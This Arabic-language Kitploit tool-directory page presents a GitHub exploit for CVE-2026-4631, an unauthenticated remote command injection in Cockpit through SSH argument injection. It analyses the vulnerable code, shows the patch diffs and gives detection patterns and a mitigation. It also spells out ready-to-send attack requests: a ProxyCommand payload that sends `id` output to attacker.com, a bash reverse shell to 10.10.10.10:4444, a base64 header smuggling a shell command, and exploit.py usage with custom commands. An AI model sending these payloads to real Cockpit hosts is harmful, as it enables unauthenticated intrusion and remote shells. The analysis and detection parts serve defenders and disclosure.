Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-4631-cockpit-RCE — كوكبيت: تنفيذ أوامر عن بُعد دون مصادقة عبر حقن وسائط سطر أوامر SSH | Kitploit
أدوات/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

كوكبيت: تنفيذ أوامر عن بُعد دون مصادقة عبر حقن وسائط سطر أوامر SSH

عرض المستودع
146منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-4631 — تحليل الكود

Cockpit: تنفيذ كود عن بُعد غير مصادق عليه عبر حقن وسائط سطر أوامر SSH

الحقلالتفاصيل
معرف CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
الخطورةحرجة (CVSS 9.8)
الإصدارات المتأثرةCockpit 327 – 359
تم الإصلاح فيCockpit 360
CWECWE-78: حقن أوامر نظام التشغيل
المصادقة المطلوبةلا
تم الإبلاغ بواسطةJelle van der Waa

جدول المحتويات

  1. نظرة عامة على الثغرة
  2. خلفية البنية
  3. تحليل السبب الجذري
  4. الكود القابل للاستغلال — ملف بملف
  5. نواقل الهجوم
  6. مخطط تدفق البيانات
  7. تحليل التصحيح
  8. الاكتشاف
  9. المراجع

1. نظرة عامة على الثغرة

تمرر ميزة تسجيل الدخول عن بُعد في Cockpit أسماء المضيفين التي يقدمها المستخدم (من مسار URL) وأسماء المستخدمين (من ترويسة Authorization: Basic) مباشرة إلى ثنائي OpenSSH ssh دون أي تحقق أو تنقية.

يمكن لمهاجم غير مصادق عليه مع وصول شبكي إلى المنفذ 9090 صياغة طلب HTTP واحد يقوم بـ:

  • حقن خيارات SSH عشوائية عبر حقل اسم المضيف (-oProxyCommand=<cmd>)
  • حقن أوامر shell عبر حقل اسم المستخدم مستغلاً توسيع رمز %r في SSH

كلا نقطتي الحقن تعملان قبل اكتمال التحقق من بيانات الاعتماد، مما يعني عدم الحاجة لتسجيل دخول صالح.


2. خلفية البنية

تدفق تسجيل الدخول عن بُعد العادي

Auth-flow

ما الذي تغير في الإصدار 327

قبل الإصدار 327، استخدم Cockpit ثنائي C مخصص يسمى cockpit-ssh (مبني على libssh) للاتصالات عن بُعد. بدءاً من الإصدار 327، تم استبداله بـ:

root@kitploit:~
python3 -m cockpit.beiboot

الذي يستدعي عميل OpenSSH ssh الخاص بالنظام. أدخل هذا التغيير الثغرة لأن مسار الكود الجديد يمرر القيم التي يتحكم فيها المستخدم مباشرة إلى ssh دون تنقية.


3. تحليل السبب الجذري

المشكلة 1 — عدم وجود فاصل -- قبل اسم المضيف

يفسر عميل SSH الوسائط التي تبدأ بـ - كـ خيارات، وليس كاسم مضيف، ما لم يسبقها فاصل --. بدون --، يتم تحليل أي اسم مضيف يبدأ بـ - كعلم SSH.

البناء القابل للاستغلال:

root@kitploit:~
ssh [options] <hostname> <remote-command>

البناء الآمن:

root@kitploit:~
ssh [options] -- <hostname> <remote-command>

المشكلة 2 — عدم وجود تحقق من المدخلات

لا يقوم أي من cockpit-ws (كود C) أو cockpit.beiboot (كود Python) بالتحقق أو التنقية من:

  • اسم المضيف المستخرج من مسار URL
  • اسم المستخدم المستخرج من ترويسة Authorization: Basic

المشكلة 3 — خطأ في Python argparse (CPython #66623)

يسبب خطأ معروف في CPython سوء معالجة argparse للوسائط التي تبدأ بـ - وتحتوي أيضاً على مسافات، حيث يعاملها كمواضع وليس كأعلام. هذا يسمح لاسم مضيف مثل -oProxyCommand=evil command بالمرور عبر تحليل وسائط Python والوصول إلى ssh كخيار.


4. الكود القابل للاستغلال — ملف بملف

4.1 src/cockpit/beiboot.py — نقطة الحقن الأساسية

هذا هو الملف الأكثر حرجاً. تقوم دالة via_ssh() ببناء قائمة وسائط أمر SSH.

الكود القابل للاستغلال (قبل التصحيح)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

كيف يبدو استدعاء SSH الناتج

مع dest = "-oProxyCommand=curl http://attacker.com/id":

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← خيار cockpit
arg2: -oProxyCommand=curl http://...   ←  يُحلل كخيار SSH (وليس مضيفاً)
arg3: python3 -ic '# cockpit-bridge'   ← يصبح "اسم المضيف" → يطلق ProxyCommand

الكود المُصلح (الإصدار 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — طبقة C: استخراج اسم المضيف

يتعامل هذا الملف C مع تحليل طلب HTTP الأولي ويطلق عملية beiboot.

استخراج اسم المضيف من URL (بدون تحقق)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

يتم تمرير اسم المضيف المُعاد مباشرة كوسيطة عند إطلاق beiboot:

root@kitploit:~
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

مُصلح في الإصدار 360

root@kitploit:~
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

استخراج اسم المستخدم من ترويسة Authorization (بدون تحقق)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — نقطة الحقن الثالثة

مكتبة ferny المرفقة (المستخدمة للتفاعل مع SSH) لديها نفس إغفال -- في استدعاء العملية الفرعية.

الكود القابل للاستغلال (قبل التصحيح)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

الكود المُصلح (الإصدار 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — مسار نشر الحاويات

هذا السكربت هو أمر المصادقة المستخدم في نشر Cockpit القائم على Docker/الحاويات.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

هذه نقطة دخول منفصلة عن مسار beiboot.py الرئيسي، مما يعني أن نشر Cockpit في الحاويات قابل للاستغلال بشكل مستقل حتى لو تم تصحيح مسار الكود الرئيسي.


5. نواقل الهجوم

المتجه 1 — اسم المضيف → حقن ProxyCommand

الشرط المسبق: OpenSSH < 9.6 على مضيف Cockpit (قدم OpenSSH 9.6 تحققاً مبكراً من اسم المضيف يمنع أحرف shell الوصفية).

طلب HTTP:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

Authorization المُفكك: invalid:invalid — أي قيمة تعمل.

كيف يعمل:

  1. يستخرج cockpit-ws -oProxyCommand=<COMMAND> من مسار URL كـ "اسم مضيف"
  2. يبني beiboot عبر via_ssh(): ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'
  3. يحلل SSH -oProxyCommand=<COMMAND> كخيار (وليس مضيفاً)
  4. يستخدم SSH python3 -ic '# cockpit-bridge' كاسم مضيف
  5. ينفذ SSH <COMMAND> كـ ProxyCommand عند الاتصال بذلك "اسم المضيف"
  6. يعمل <COMMAND> كمستخدم عملية cockpit-ws

مثال — استدعاء خارج النطاق (OOB):

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

ProxyCommand المُفكك: curl http://attacker.com/id``

مثال — قشرة عكسية:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

ProxyCommand المُفكك: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


المتجه 2 — اسم المستخدم → حقن رمز %r

الشرط المسبق: يحتوي ssh_config الخاص بالهدف على توجيه Match exec يستخدم رمز %r (اسم المستخدم البعيد).

مثال على ssh_config قابل للاستغلال:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

طلب HTTP:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

Authorization المُفكك: x; touch /tmp/pwned; #:invalid

اسم المستخدم المستخرج: x; touch /tmp/pwned; #

كيف يعمل:

  1. يوسع SSH %r باسم المستخدم قبل تنفيذ أمر Match exec
  2. يستقبل shell: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. يفسر shell الفواصل المنقوطة: ينفذ touch /tmp/pwned، ثم يتجاهل الباقي
  4. يرفض SSH لاحقاً تنسيق اسم المستخدم — لكن الأمر قد نُفذ بالفعل

6. مخطط تدفق البيانات

Auth-bypass


7. تحليل التصحيح

الإصلاح بسيط — إضافة -- (فاصل نهاية الخيارات في POSIX) قبل وسيطة الوجهة في كل مكان يُستدعى فيه SSH.

التصحيح 1 — src/cockpit/beiboot.py (الالتزام 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

التصحيح 2 — src/ws/cockpitauth.c (الالتزام 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

التصحيح 3 — vendor/ferny/src/ferny/session.py (الالتزام 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

لماذا يصلح -- المشكلة

يخبر رمز -- محللي الوسائط (سواء Python argparse أو محلل خيارات OpenSSH) أن جميع الرموز اللاحقة هي وسائط موضعية، وليست خيارات. بعد --، يتم التعامل مع قيمة مثل -oProxyCommand=evil كسلسلة اسم مضيف حرفية، يرفضها SSH بعد ذلك كقيمة غير صالحة — ولا ينفذ أي شيء.


8. الاكتشاف

الاكتشاف على مستوى الشبكة

ابحث عن طلبات HTTP إلى نقطة نهاية تسجيل الدخول في Cockpit حيث يحتوي مكوّن المسار على صيغة خيارات SSH:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

راقب تحديداً ما يلي:

  • -oProxyCommand= في مسار URL (المتجه 1)
  • الفواصل المنقوطة في القيمة المُفككة لـ Authorization: Basic (المتجه 2)

اكتشاف السجلات (journald)

root@kitploit:~
# تحقق من إطلاق beiboot مع وسائط مشبوهة
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# تحقق من استدعاءات SSH من مستخدم cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"

فحص الإصدار

root@kitploit:~
# تحقق مما إذا كان الإصدار المثبت قابلاً للاستغلال
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# قابل للاستغلال إذا كان الإصدار بين 327 و 359 شاملاً

rpm -q cockpit-ws
# ينطبق نفس فحص الإصدار

9. نواقل الهجوم

فحص هدف واحد

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

فحص أهداف متعددة من ملف

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

الاكتشاف باستخدام OOB

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

متجه الهجوم 1 — اسم المستخدم → حقن رمز %r

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

التخفيف (إذا لم يكن التصحيح فورياً)

أضف إلى /etc/cockpit/cockpit.conf:

root@kitploit:~
[WebService]
LoginTo = false

يؤدي هذا إلى تعطيل ميزة تسجيل الدخول عن بُعد بالكامل، مما يمنع تشغيل مسار كود beiboot.


10. المراجع

الموردالرابط
إفصاح OSS-Securityhttps://www.openwall.com/lists/oss-security/2026/04/10/5
استشارة أمان GitHubhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
مشكلة Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
التزام الإصلاح (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
التزام الإصلاح (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
خطأ CPython argparsehttps://github.com/python/cpython/issues/66623
التحقق من اسم المضيف في OpenSSH 9.6https://github.com/openssh/openssh-portable/commit/7ef3787
تنزيل الأداة